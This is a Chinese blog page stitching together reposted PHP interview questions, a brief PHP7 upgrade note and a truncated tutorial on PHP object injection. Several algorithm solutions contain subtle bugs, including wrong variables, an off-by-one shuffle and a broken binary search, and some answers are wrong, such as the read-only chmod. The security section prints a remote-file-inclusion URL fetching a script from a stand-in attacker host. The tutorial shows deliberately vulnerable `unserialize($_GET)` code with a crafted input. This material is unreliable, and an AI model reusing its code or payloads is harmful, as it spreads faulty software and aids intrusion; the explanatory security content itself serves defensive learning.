[转]三年PHP面试题

原文链接:https://juejin.im/entry/59b533746fb9a00a5e35ac17

算法

1.反转函数的实现

/**
* 反转数组
* @param array $arr
* @return array
*/
function reverse($arr)
{
$n = count($arr);

$left = 0;
$right = $n – 1;

while ($left < $right) {
$temp = $arr[$left];
$arr[$left++] = $arr[$right];
$arr[$right–] = $temp;
}

return $arr;
}
2.两个有序int集合是否有相同元素的最优算法

/**
* 寻找两个数组里相同的元素
* @param array $arr1
* @param array $arr2
* @return array
*/
function find_common($arr1, $arr2)
{
$common = array();
$i = $j = 0;
$count1 = count($arr1);
$count2 = count($arr2);
while ($i < $count1 && $j < $count2) {
if ($arr1[$i] < $arr2[$j]) { $i++; } elseif ($arr1[$i] > $arr2[$j]) {
$j++;
} else {
$common[] = $arr[$i];
$i++;
$j++;
}
}
return array_unique($common);
}
3.将一个数组中的元素随机(打乱)

/**
* 打乱数组
* @param array $arr
* @return array
*/
function custom_shuffle($arr)
{
$n = count($arr);
for ($i = 0; $i < $n; $i++) {
$rand_pos = mt_rand(0, $n);
if ($rand_pos != $i) {
$temp = $arr[$i];
$arr[$i] = $arr[$rand_pos];
$arr[$rand_pos] = $temp;
}
}
return $arr;
}
4.给一个有数字和字母的字符串,让连着的数字和字母对应

function number_alphabet($str)
{
$number = preg_split(‘/[a-z]+/’, $str, -1, PREG_SPLIT_NO_EMPTY);
$alphabet = preg_split(‘/\d+/’, $str, -1, PREG_SPLIT_NO_EMPTY);
$n = count($number);
for ($i = 0; $i < $count; $i++) {
echo $number[$i] . ‘:’ . $alphabet[$i] . ”;
}
}
$str = ‘1a3bb44a2ac’;
number_alphabet($str);//1:a 3:bb 44:a 2:ac
5.求n以内的质数(质数的定义:在大于1的自然数中,除了1和它本身意外,无法被其他自然数整除的数)

思路:

(质数筛选定理)n不能够被不大于根号n的任何质数整除,则n是一个质数
除了2的偶数都不是质数 代码如下:

/**
* 求n内的质数
* @param int $n
* @return array
*/
function get_prime($n)
{
$prime = array(2);//2为质数

for ($i = 3; $i <= $n; $i += 2) {//偶数不是质数,步长可以加大
$sqrt = intval(sqrt($i));//求根号n

for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇数,当然不能被偶数整除,步长也可以加大。 if ($i % $j == 0) { break; } } if ($j > $sqrt) {
array_push($prime, $i);
}
}

return $prime;
}
print_r(getPrime(1000));

### 6.约瑟夫环问题
相关题目:一群猴子排成一圈,按1,2,…,n依次编号。然后从第1只开始数,数到第m只,把它踢出圈,从它后面再开始数, 再数到第m只,在把它踢出去…,如此不停的进行下去, 直到最后只剩下一只猴子为止,那只猴子就叫做大王。要求编程模拟此过程,输入m、n, 输出最后那个大王的编号。
“`php
/**
* 获取大王
* @param int $n
* @param int $m
* @return int
*/
function get_king_mokey($n, $m)
{
$arr = range(1, $n);

$i = 0;

while (count($arr) > 1) {
$i++;
$survice = array_shift($arr);

if ($i % $m != 0) {
array_push($arr, $survice);
}
}

return $arr[0];
}
7.如何快速寻找一个数组里最小的1000个数

思路:假设最前面的1000个数为最小的,算出这1000个数中最大的数,然后和第1001个数比较,如果这最大的数比这第1001个数大的话跳过,如果要比这第1001个数小则将两个数交换位置,并算出新的1000个数里面的最大数,再和下一个数比较,以此类推。
代码如下:

//寻找最小的k个数
//题目描述
//输入n个整数,输出其中最小的k个。
/**
* 获取最小的k个数
* @param array $arr
* @param int $k [description]
* @return array
*/
function get_min_array($arr, $k)
{
$n = count($arr);

$min_array = array();

for ($i = 0; $i < $n; $i++) {
if ($i < $k) {
$min_array[$i] = $arr[$i];
} else {
if ($i == $k) {
$max_pos = get_max_pos($min_array);
$max = $min_array[$max_pos];
}

if ($arr[$i] < $max) {
$min_array[$max_pos] = $arr[$i];

$max_pos = get_max_pos($min_array);
$max = $min_array[$max_pos];
}
}
}

return $min_array;
}

/**
* 获取最大的位置
* @param array $arr
* @return array
*/
function get_max_pos($arr)
{
$pos = 0;
for ($i = 1; $i < count($arr); $i++) {
if ($arr[$i] < $arr[$pos]) {
$pos = $i;
}
}

return $pos;
}

$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58];

$min_array = get_min_array($array, 10);

print_r($min_array);
8.如何在有序的数组中找到一个数的位置(二分查找)

代码如下:

/**
* 二分查找
* @param array $array 数组
* @param int $n 数组数量
* @param int $value 要寻找的值
* @return int
*/
function binary_search($array, $n, $value)
{
$left = 0;
$right = $n – 1;

while ($left <= $right) { $mid = intval(($left + $right) / 2); if ($value > $mid) {
$right = $mid + 1;
} elseif ($value < $mid) { $left = $mid – 1; } else { return $mid; } } return -1; } 9.给定一个有序整数序列,找出绝对值最小的元素 思路:二分查找 /** * 获取绝对值最小的元素 * @param array $arr * @return int */ function get_min_abs_value($arr) { //如果符号相同,直接返回 if (is_same_sign($arr[0], $arr[$n – 1])) { return $arr[0] >= 0 ? $arr[0] : $arr[$n – 1];
}

//二分查找
$n = count($arr);
$left = 0;
$right = $n – 1;

while ($left <= $right) {
if ($left + 1 === $right) {
return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right];
}

$mid = intval(($left + $right) / 2);

if ($arr[$mid] < 0) { $left = $mid + 1; } else { $right = $mid – 1; } } } /** * 判断符号是否相同 * @param int $a * @param int $b * @return boolean */ function is_same_sign($a, $b) { if ($a * $b > 0) {
return true;
} else {
return false;
}
}
10.找出有序数组中随机3个数和为0的所有情况

思路:动态规划

function three_sum($arr)
{
$n = count($arr);

$return = array();

for ($i=0; $i < $n; $i++) {
$left = $i + 1;
$right = $n – 1;

while ($left <= $right) {
$sum = $arr[$i] + $arr[$left] + $arr[$right];

if ($sum < 0) { $left++; } elseif ($sum > 0) {
$right–;
} else {
$numbers = $arr[$i] . ‘,’ . $arr[$left] . ‘,’ . $arr[$right];
if (!in_array($numbers, $return)) {
$return[] = $numbers;
}

$left++;
$right–;
}
}
}

return $return;
}

$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9];
var_dump(three_sum($arr));
11.编写一个PHP函数,求任意n个正负整数里面最大的连续和,要求算法时间复杂度尽可能低。

思路:动态规划

/**
* 获取最大的连续和
* @param array $arr
* @return int
*/
function max_sum_array($arr)
{
$currSum = 0;
$maxSum = 0;//数组元素全为负的情况,返回最大数

$n = count($arr);

for ($i = 0; $i < $n; $i++) { if ($currSum >= 0) {
$currSum += $arr[$j];
} else {
$currSum = $arr[$j];
}
}

if ($currSum > $maxSum) {
$maxSum = $currSum;
}

return $maxSum;
}
计算机网络

1.HTTP中GET与POST的区别,注意最后一条

GET在浏览器回退时是无害的,而POST会再次提交请求。
GET产生的URL地址可以被Bookmark,而POST不可以。
GET请求会被浏览器主动cache,而POST不会,除非手动设置。
GET请求只能进行url编码,而POST支持多种编码方式。
GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。
GET请求在URL中传送的参数是有长度限制的,而POST么有。
对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。
GET参数通过URL传递,POST放在Request body中。
GET产生一个TCP数据包,POST产生两个TCP数据包。
2.为什么Tcp连接是三次,挥手是四次

在Tcp连接中,服务端的SYN和ACK向客户端发送是一次性发送的,而在断开连接的过程中,B端向A端发送的ACK和FIN是分两次发送的。因为在B端接收到A端的FIN后,B端可能还有数据要传输,所以先发送ACK,等B端处理完自己的事情后就可以发送FIN断开连接了。

3.Cookie存在哪

如果设置了过期时间,Cookie存在硬盘里
没有设置过期时间,Cookie存在内存里
4.COOKIE和SESSION的区别和关系

COOKIE保存在客户端,而SESSION则保存在服务器端
从安全性来讲,SESSION的安全性更高
从保存内容的类型的角度来讲,COOKIE只保存字符串(及能够自动转换成字符串)
从保存内容的大小来看,COOKIE保存的内容是有限的,比较小,而SESSION基本上没有这个限制
从性能的角度来讲,用SESSION的话,对服务器的压力会更大一些
SEEION依赖于COOKIE,但如果禁用COOKIE,也可以通过url传递
Linux

1.如何修改文件为当前用户只读

chmod u=x 文件名

2.Linux进程属性

进程:是用pid表示,它的数值是唯一的
父进程:用ppid表示
启动进程的用户:用UID表示
启动进程的用户所属的组:用GID表示
进程的状态:运行R,就绪W,休眠S,僵尸Z
3.统计某一天网站的访问量

awk ‘{print $1}’ /var/log/access.log | sort | uniq | wc -l
推荐篇文章,讲awk实际使用的shell在手分析服务器日志不愁

Nginx

1.fastcgi通过端口监听和通过文件监听的区别

监听方式 形式 nginx链接fastcgi方式
端口监听 fastcgi_pass 127.0.0.1:9000 TCP链接
文件监听 fastcgi_pass /tmp/php_cgi.sock Unix domain Socket
2.nginx的负载均衡实现方式

轮询
用户IP哈希
指定权重
fair(第三方)
url_hash(第三方)
Memcache/Redis

1.Redis主从是怎样同步数据的?(即复制功能)

无论是初次连接还是重新连接,当建立一个从服务器时,从服务器都将从主服务器发送一个SYNC命令。接到SYNC命令的主服务器将开始执行BGSAVE,并在保存操作执行期间,将所有新执行的命令都保存到一个缓冲区里面,当BGSAVE执行完毕后,主服务器将执行保存操作所得到的.rdb文件发送给从服务器,从服务器接收这个.rdb文件,并将文件中的数据载入到内存中。之后主服务器会以Redis命令协议的格式,将写命令缓冲区中积累的所有内容都发送给从服务器。

2.Memcache缓存命中率

缓存命中率 = get_hits/cmd_get * 100%

3.Memcache集群实现

一致性Hash

4.Memcache与Redis的区别

Memcache
该产品本身特别是数据在内存里边的存储,如果服务器突然断电,则全部数据就会丢失
单个key(变量)存放的数据有1M的限制
存储数据的类型都是String字符串类型
本身没有持久化功能
可以使用多核(多线程)
Redis
数据类型比较丰富:String、List、Set、Sortedset、Hash
有持久化功能,可以把数据随时存储在磁盘上
本身有一定的计算功能
单个key(变量)存放的数据有1GB的限制
MySQL

1.执行SQL语句:select count(*) from articles 时,MySIAM和InnoDB哪个快

MySIAM快,因为MySIAM本身就记录了数量,而InnoDB要扫描数据

3.隐式转换

当查询字段是INT类型,如果查询条件为CHAR,将查询条件转换为INT,如果是字符串前导都是数字将会进行截取,如果不是转换为0。
当查询字段是CHAR/VARCHAR类型,如果查询条件为INT,将查询字段为换为INT再进行比较,可能会造成全表扫描
2.最左前缀原则

有一个复合索引:INDEX(`a`, `b`, `c`)

使用方式 能否用上索引
select * from users where a = 1 and b = 2 能用上a、b
select * from users where b = 2 and a = 1 能用上a、b(有MySQL查询优化器)
select * from users where a = 2 and c = 1 能用上a
select * from users where b = 2 and c = 1 不能
3.聚簇索引和非聚簇索引的区别

聚簇索引的叶节点就是数据节点,而非聚簇索引的页节点仍然是索引检点,并保留一个链接指向对应数据块。

PHP

1.Session可不可以设置失效时间,比如30分钟过期

设置seesion.cookie_lifetime有30分钟,并设置session.gc_maxlifetime为30分钟
自己为每一个Session值增加timestamp
每次访问之前, 判断时间戳
2.PHP进程间通信的几种方式

消息队列
信号量+共享内存
信号
管道
socket
3.php类的静态调用和实例化调用各自的利弊

静态方法是类中的一个成员方法,属于整个类,即使不用创建任何对象也可以直接调用!静态方法效率上要比实例化高,静态方法的缺点是不自动销毁,而实例化的则可以做销毁。

4.类的数组方式调用

ArrayAccess(数组式访问)接口

5.用php写一个函数,获取一个文本文件最后n行内容,要求尽可能效率高,并可以跨平台使用。

function tail($file, $num)
{
$fp = fopen($file,”r”);
$pos = -2;
$eof = “”;
$head = false; //当总行数小于Num时,判断是否到第一行了
$lines = array();
while ($num > 0) {
while($eof != PHP_EOL){
if (fseek($fp, $pos, SEEK_END) == 0) { //fseek成功返回0,失败返回-1
$eof = fgetc($fp);
$pos–;
} else { //当到达第一行,行首时,设置$pos失败
fseek($fp, 0, SEEK_SET);
$head = true; //到达文件头部,开关打开
break;
}
}
array_unshift($lines, str_replace(PHP_EOL, ”, fgets($fp)));
if ($head) {//这一句,只能放上一句后,因为到文件头后,把第一行读取出来再跳出整个循环
break;
}
$eof = “”;
$num–;
}
fclose($fp);
return $lines;
}
6.$SERVER[‘SERVER_NAME’]和$SERVER[‘HTTP_HOST’]的区别

相同点: 当满足以下三个条件时,两者会输出相同信息。

服务器为80端口
apache的conf中ServerName设置正确
HTTP/1.1协议规范
不同点:

通常情况: $_SERVER[“HTTP_HOST”] 在HTTP/1.1协议规范下,会根据客户端的HTTP请求输出信息。 $_SERVER[“SERVER_NAME”] 默认情况下直接输出apache的配置文件httpd.conf中的ServerName值。
当服务器为非80端口时: $_SERVER[“HTTP_HOST”] 会输出端口号,例如:coffeephp.com:8080 $_SERVER[“SERVER_NAME”] 会直接输出ServerName值 因此在这种情况下,可以理解为:$_SERVER[‘HTTP_HOST’] = $_SERVER[‘SERVER_NAME’] : $_SERVER[‘SERVER_PORT’]
当配置文件httpd.conf中的ServerName与HTTP/1.0请求的域名不一致时: httpd.conf配置如下:

ServerName jsyzchen.com
ServerAlias blog.jsyzchen.com

客户端访问域名 blog.jsyzchen.com $_SERVER[“HTTP_HOST”] 输出 blog.jsyzchen.com $_SERVER[“SERVER_NAME”] 输出jsyzchen.com

7.打开php.ini的safe_mode会影响哪些参数

当safe_mode=On时,会出现下面限制:

所有输入输出函数(例如fopen()、file()和require())的适用会受到限制,只能用于与调用这些函数的脚本有相同拥有者的文件。例如,假定启用了安全模式,如果Mary拥有的脚本调用fopen(),尝试打开由Jonhn拥有的一个文件,则将失败。但是,如果Mary不仅拥有调用 fopen()的脚本,还拥有fopen()所调用的文件,就会成功。
如果试图通过函数popen()、system()或exec()等执行脚本,只有当脚本位于safe_mode_exec_dir配置指令指定的目录才可能。
HTTP验证得到进一步加强,因为验证脚本用于者的UID划入验证领域范围内。此外,当启用安全模式时,不会设置PHP_AUTH。
如果适用MySQL数据库服务器,链接MySQL服务器所用的用户名必须与调用mysql_connect()的文件拥有者用户名相同。
详细的解释可以查看官网:www.php.net/manual/zh/i… php safe_mode影响参数
函数名 限制
dbmopen() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
dbase_open() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
filepro() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
filepro_rowcount() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
filepro_retrieve() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
ifx_* sql_safe_mode 限制, (!= safe mode)
ingres_* sql_safe_mode 限制, (!= safe mode)
mysql_* sql_safe_mode 限制, (!= safe mode)
pg_loimport() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
posix_mkfifo() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
putenv() 遵循 ini 设置的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 选项。请参考 putenv() 函数的有关文档。
move_uploaded_file() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
chdir() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
dl() 本函数在安全模式下被禁用。
backtick operator 本函数在安全模式下被禁用。
shell_exec() (在功能上和 backticks 函数相同) 本函数在安全模式下被禁用。
exec() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
system() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
passthru() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
popen() 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。
fopen() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
mkdir() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
rmdir() 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
rename() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
unlink() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
copy() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (on source and target )
chgrp() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
chown() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。
chmod() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 另外,不能设置 SUID、SGID 和 sticky bits
touch() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。
symlink() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意:仅测试 target)
link() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意:仅测试 target)
apache_request_headers() 在安全模式下,以“authorization”(区分大小写)开头的标头将不会被返回。
header() 在安全模式下,如果设置了 WWW-Authenticate,当前脚本的 uid 将被添加到该标头的 realm 部分。
PHP_AUTH 变量 在安全模式下,变量 PHP_AUTH_USER、PHP_AUTH_PW 和 PHP_AUTH_TYPE 在 $_SERVER 中不可用。但无论如何,您仍然可以使用 REMOTE_USER 来获取用户名称(USER)。(注意:仅 PHP 4.3.0 以后有效)
highlight_file(), show_source() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意,仅在 4.2.1 版本后有效)
parse_ini_file() 检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意,仅在 4.2.1 版本后有效)
set_time_limit() 在安全模式下不起作用。
max_execution_time 在安全模式下不起作用。
mail() 在安全模式下,第五个参数被屏蔽。
8.PHP解决多进程同时写一个文件的问题

function write($str)
{
$fp = fopen($file, ‘a’);
do {
usleep(100);
} while (!flock($fp, LOCK_EX));
fwrite($fp, $str . PHP_EOL);
flock($fp, LOCK_UN);
fclose($fp);
}
9.PHP里的超全局变量

$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV
10.php7新特性

?? 运算符(NULL 合并运算符)
函数返回值类型声明
标量类型声明
use 批量声明
define 可以定义常量数组
闭包( Closure)增加了一个 call 方法 详细的可以见官网:php7-new-features
11.php7卓越性能背后的优化

减少内存分配次数
多使用栈内存
缓存数组的hash值
字符串解析成桉树改为宏展开
使用大块连续内存代替小块破碎内存 详细的可以参考鸟哥的PPT:PHP7性能之源
12.include($_GET[‘p’])的安全隐患

现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本。 如果allow_url_fopen=On,你更是死定了: 试试这个输入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php 现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。

13.列出一些防范SQL注入、XSS攻击、CSRF攻击的方法

SQL注入:

addslashes函数
mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
PDO预处理 XSS:htmlspecial函数 CSRF:
验证HTTP REFER
使用toke进行验证
14.接口如何安全访问

jwt或验证签名

15.PHP里有哪些设计模式

单例模式
工厂模式
脸面模式(facade)
注册器模式
策略模式
原型模式
装饰器模式 更多的可以看PHP设计模式简介这篇文章
16.验证ip是否正确

function check_ip($ip)
{
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
return false;
} else {
return true;
}
}
17.验证日期是否合理

function check_datetime($datetime)
{
if (date(‘Y-m-d H:i:s’, strtotime($datetime)) === $datetime) {
return true;
} else {
return false;
}
}
18.写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)

$text = '<script>// <![CDATA[
alert('XSS')
// ]]></script>';
$pattern = '&lt;script.*&gt;.*&lt;\/script&gt;/i';
$text = preg_replace($pattern, '', $text);

19.下单后30分钟未支付取消订单

第一种方案:被动过期+cron,就是用户查看的时候去数据库查有没有支付+定时清理。 第二种方案:延迟性任务,到时间检查订单是否支付成功,如果没有支付则取消订单

20.设计一个秒杀系统

思路:用redis的队列

$redis_key = ‘seckill’;//记录中奖记录
$uid = $GET[‘uid’];
$count = 10;//奖品的数量
if ($redis->lLen($redis_key) < 10) { $redis->rPush($redis_key, $uid . ‘_’ . microtime());
echo “秒杀成功”;
} else {
echo “秒杀已结束”;
}
21.请设计一个实现方式,可以给某个ip找到对应的省和市,要求效率竟可能的高

//ip2long,把所有城市的最小和最大Ip录进去
$redis_key = ‘ip’;
$redis->zAdd($redis_key, 20, ‘#bj’);//北京的最小IP加#
$resid->zAdd($redis_key, 30, ‘bj’);//最大IP

function get_ip_city($ip_address)
{
$ip = ip2long($ip_address);

$redis_key = ‘ip’;
$city = zRangeByScore($redis_key, $ip, ‘+inf’, array(‘limit’ => array(0, 1)));
if ($city) {
if (strpos($city[0], “#”) === 0) {
echo ‘城市不存在!’;
} else {
echo ‘城市是’ . $city[0];
}
} else {
echo ‘城市不存在!’;
}
}
其他

1.网页/应用访问慢突然变慢,如何定位问题

top、iostat查看cpu、内存及io占用情况
内核、程序参数设置不合理 查看有没有报内核错误,连接数用户打开文件数这些有没有达到上限等等
链路本身慢 是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网广播风暴什么的
程序设计不合理 是否程序本身算法设计太差,数据库语句太过复杂或者刚上线了什么功能引起的
其它关联的程序引起的 如果要访问数据库,检查一下是否数据库访问慢
是否被攻击了 查看服务器是否被DDos了等等
硬件故障 这个一般直接服务器就挂了,而不是访问慢
2.如何设计/优化一个访问量比较大的博客/论坛

减少http请求(比如使用雪碧图)
优化数据库(范式、SQL语句、索引、配置、读写分离)
缓存使用(Memcache、Redis)
负载均衡
动态内容静态化+CDN
禁止外部盗链(refer、图片添加水印)
控制大文件下载
使用集群
3.如何搭建Composer私有库

使用satis搭建
相关文章介绍:使用satis搭建Composer私有库

[PHP7]博客升级PHP7

看了鸟哥微博:https://www.slideshare.net/slideshow/embed_code/key/KMbqLBfzYnMN29

继升级https之后,百忙之中升级博客使用php7,方法之前博客已经提到.

nginx定义变量


set $version php5;

if(host ~ "da.dadaaierer.com") {

set $version php7;

}

&nbsp;

后面的配置换个变量即可!

效率待验证!

[转]深入理解 PHP 对象注入

0x00 背景

原文链接:https://wujunze.com/php_class_inject.jsp

php对象注入是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险,为了理解这个漏洞,请读者具备基础的php知识。

0x01 漏洞案例

如果你觉得这是个渣渣洞,那么请看一眼这个列表,一些被审计狗挖到过该漏洞的系统,你可以发现都是一些耳熟能详的玩意(就国外来说)

WordPress 3.6.1

Magento 1.9.0.1

Joomla 3.0.3

Ip board 3.3.5

除此之外等等一堆系统,八成可能大概在这些还有其他的php程序中还有很多这种类型的漏洞,所以不妨考虑坐下喝杯咖啡并且试着去理解这篇文章。
php.jpg
0x01 PHP类和对象


类和变量是非常容易理解的php概念,打个比方,下面的代码在一个类中定义了一个变量和一个方法。

< ?php
  
class TestClass
{
    // A variable
      
    public $variable = 'This is a string';
      
    // A simple method
      
    public function PrintVariable()
    {
        echo $this->variable;
    }
}
  
// Create an object
  
$object = new TestClass();
  
// Call a method
  
$object->PrintVariable();
  
?>

它创建了一个对象并且调用了 PrintVariable 函数,该函数会输出变量 variable。

如果想了解更多关于php面向对象编程的知识 请点: http:pensive:/php.net/manual/zh/language.oop5.php
0x02 php magic方法

php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“__”开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。

这些函数在某些情况下会自动调用,比如:

__construct 当一个对象创建时调用 (constructor) __destruct 当一个对象被销毁时调用 (destructor) __ toString当一个对象被当作一个字符串使用

为了更好的理解magic方法是如何工作的,让我们添加一个magic方法在我们的类中。

< ?php
  class TestClass
  {
  // 一个变量public $variable = 'This is a string';// 一个简单的方法
   
  public function PrintVariable()
  {
  echo $this->variable . '
';
  }
   
  // Constructor
   
  public function __construct()
  {
  echo '__construct 
';
  }
   
  // Destructor
   
  public function __destruct()
  {
  echo '__destruct 
';
  }
   
  // Call
   
  public function __toString()
  {
  return '__toString
';
  }
  }
   
  // 创建一个对象
  // __construct会被调用
   
  $object = new TestClass();
   
  // 创建一个方法
  // 'This is a string’ 这玩意会被输出
   
  $object->PrintVariable();
   
  // 对象被当作一个字符串
  // __toString 会被调用
   
  echo $object;
   
  // End of PHP script
  // php脚本要结束了, __destruct会被调用
   
  ?>

我们往里头放了三个 magic方法,__construct, __destruct和 __toString,你可以看出来,__construct在对象创建时调用, __destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。

这个脚本会输出这狗样:

__construct 
This is a string 
__toString 
__destruct

这只是一个简单的例子,如果你想了解更多有关magic函数的例子,请点击链接

0x03 php对象序列化

php允许保存一个对象方便以后重用,这个过程被称为序列化,打个比方,你可以保存一个包含着用户信息的对象方便等等重用。

为了序列化一个对象,你需要调用 “serialize”函数,函数会返回一个字符串,当你需要用到这个对象的时候可以使用“unserialize”去重建对象。

让我们在序列化丢进那个例子,看看序列化张什么样。

< ?php
// 某类class User
{
// 类数据public $age = 0;
public $name = '';
 
// 输出数据
 
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. 
';
}
}
 
// 创建一个对象
 
$usr = new User();
 
// 设置数据
 
$usr->age = 20;
$usr->name = 'John';
 
// 输出数据
 
$usr->PrintData();
 
// 输出序列化之后的数据
 
echo serialize($usr);
 
?>

它会输出

User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

你可以看到序列化之后的数据中 有 20和John,其中没有任何跟类有关的东西,只有其中的数据被数据化。

为了使用这个对象,我们用unserialize重建对象。

< ?php// 某类class User
{
// Class datapublic $age = 0;
public $name = '';
 
// Print data
 
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. 
';
}
}
 
// 重建对象
 
$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
 
// 调用PrintData 输出数据
 
$usr->PrintData();
 
?>

着会输出

User John is 20 years old

0x04 序列化magic函数

magic函数constructor (__construct)和 destructor (__destruct) 是会在对象创建或者销毁时自动调用,其他的一些magic函数会在serialize 或者 unserialize的时候被调用。

__sleep magic方法在一个对象被序列化的时候调用。 __wakeup magic方法在一个对象被反序列化的时候调用。

注意 __sleep 必须返回一个数组与序列化的变量名。

< ?php
class Test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';public function PrintVariable()
{
echo $this->variable . '
';
}public function __construct()
{
echo '__construct
';
}
 
public function __destruct()
{
echo '__destruct
';
}
 
public function __wakeup()
{
echo '__wakeup
';
}
 
public function __sleep()
{
echo '__sleep
';
 
return array('variable', 'variable2');
}
}
 
// 创建一个对象,会调用 __construct
 
$obj = new Test();
 
// 序列化一个对象,会调用 __sleep
 
$serialized = serialize($obj);
 
//输出序列化后的字符串
 
print 'Serialized: ' . $serialized . 
';
 
// 重建对象,会调用 __wakeup
 
$obj2 = unserialize($serialized);
 
//调用 PintVariable, 会输出数据 (BUZZ)
 
$obj2->PrintVariable();
 
// php脚本结束,会调用 __destruct
 
?>

这玩意会输出:

__construct 
__sleep 
Serialized: O:4:"Test":2:
{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} 
__wakeup 
BUZZ 
__destruct 
__destruct

你可以看到,我们创建了一个对象,序列化了它(然后__sleep被调用),之后用序列化对象重建后的对象创建了另一个对象,接着php脚本结束的时候两个对象的__destruct都会被调用。

更多相关的内容

0x05 php对象注入

现在我们理解了序列化是如何工作的,我们该如何利用它?事实上,利用这玩意的可能性有很多种,关键取决于应用程序的流程与,可用的类,与magic函数。

记住序列化对象的值是可控的。

你可能会找到一套web程序的源代码,其中某个类的__wakeup 或者 __destruct and其他乱七八糟的函数会影响到web程序。

打个比方,我们可能会找到一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件会被删除。然后代码张这狗样。

public function LogData($text) { echo 'Log some data: ' . $text . '<br />'; file_put_contents($this->filename, $text, FILE_APPEND); } // Destructor 删除日志文件 public function __destruct() { echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename); } } ?>

某例子关于如何使用这个类

< ?php
include 'logfile.php';// 创建一个对象$obj = new LogFile();
 
// 设置文件名和要储存的日志数据
 
$obj->filename = 'somefile.log';
$obj->LogData('Test');
 
// php脚本结束啦,__destruct被调用,somefile.log文件被删除。
 
?>

在其他的脚本,我们可能又恰好找到一个调用“unserialize”函数的,并且恰好变量是用户可控的,又恰好是$_GET之类的什么玩意的。

< ?php
include 'logfile.php';// ... 一些狗日的代码和 LogFile 类 ...// 简单的类定义
 
class User
{
// 类数据
 
public $age = 0;
public $name = '';
 
// 输出数据
 
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. 
';
}
}
 
// 重建 用户输入的 数据
 
$usr = unserialize($_GET['usr_serialized']);
 
?>

你看,这个代码调用了 “LogClass” 类,并且有一个 “unserialize” 值是我们可以注入的。

所以构造类似这样的东西:
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
